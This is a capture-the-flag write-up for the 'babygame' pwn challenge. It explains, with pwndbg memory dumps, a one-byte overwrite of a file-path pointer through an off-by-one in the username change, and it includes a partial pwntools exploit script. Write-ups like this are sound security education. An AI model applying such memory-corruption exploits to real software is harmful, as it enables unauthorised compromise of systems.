Tags: pwn 


The binary is relatively simple with 4 options. The 2 obvious options are `1. Set Username` and `2. Print Username`. If you put the binary in Ghirda, you'll find some other options too:


Basically, if you type in `1337`, you'll play a "game".

If you play the game normally, the binary will read 4 bytes from `/dev/random` and make you compare against it. Obviously, we can't guess this number with any reliability (that's 0 to 4,294,967,295).

In the beginning of the binary, it asks for your name and stores your name in a location right before the `/dev/random` string pointer:

pwndbg> x/32xg &NAME
0x5555555580a0 <NAME>: 0x20454d414e20594d 0x000a424f42205349
0x5555555580b0 <NAME+16>: 0x0000000000000000 0x0000000000000000
0x5555555580c0 <RANDBUF>: 0x0000555555556024 0x0000000000000000
0x5555555580d0: 0x0000000000000000 0x0000000000000000
0x5555555580e0: 0x0000000000000000 0x000000000000000

`NAME` is 32 bytes long.

You can also change your name. The binary checks how many characters to read from stdin by running `strlen` against the current `NAME`.

Using this information, you can create a `NAME` that's 32 bytes long and when you change your name, it will read into `RANDBUF` and instead of getting 32 bytes, it can get up to 38 bytes, overwriting `RANDBUF`.

Since PIE is enabled, we can't simply change `RANDBUF` to point to a user supplied string, unfortunately.

However, we can look for all other strings around `RANDBUF`:

pwndbg> x/16s 0x0000555555556024
0x555555556024: "/dev/urandom"
0x555555556031: "Invalid choice."
0x555555556041: "1. Set Username"
0x555555556051: "2. Print Username"
0x555555556063: "> "
0x555555556066: ""
0x555555556067: ""
0x555555556068: "What would you like to change your username to?"
0x555555556098: "rb"
0x55555555609b: "guess: "
0x5555555560a3: "/bin/sh"
0x5555555560ab: ""
0x5555555560ac: "\001\033\003;`"
0x5555555560b2: ""
0x5555555560b3: ""
0x5555555560b4: "\v"

The only string here that's a "file" that is valid to read from is actually `/bin/sh`.

We can change the 1 last byte from the `RANDBUF` pointer from `24` to `a3` and `RANDBUF` will then point to `/bin/sh` (which has a known first 4 bytes).

This is a one-byte-overwrite.

This solution is alright but it's not reliable. The reason why is because `strlen` will usually return 38 bytes and then `fread()` will ask for 38 bytes exactly. It won't read less. Therefore, the only time this will work is if `strlen` returns 33 bytes (32 bytes for the `NAME` + 1 byte overwrite). This only happens if by chance the 2nd to last byte of `RANDBUF` is `NULL` or `0x00`. The last hex will always be `0x0` but the first hex ranges from `0x0` to `0xF`. This is a 1/16 chance of happening. Despite this, it will work.

Once you get lucky and hit the 1/16 chance, you can run the game with option `1337`. The first 4 bytes of `/bin/sh` in integer format is `1179403647`. Then you get a win:


Script (I ran it against the CTF server like 20 times before getting a win):

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template babygame
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('babygame')

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
break game

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled

io = start()

def play_game(guess):
io.sendlineafter(">", b"1337")
io.sendlineafter("guess: ", guess)

def change_user(new_user):
io.sendlineafter(">", b"1")
io.sendafter("change your username to?", new_user)

io.sendafter("what is your name?", cyclic(0x20))
new_user = fit({0x0: b"/dev/zero\x0a", 0x20: b"\xa3"})

# Works 1/16 chance. Requires the 2nd to last byte of RAND to be a null byte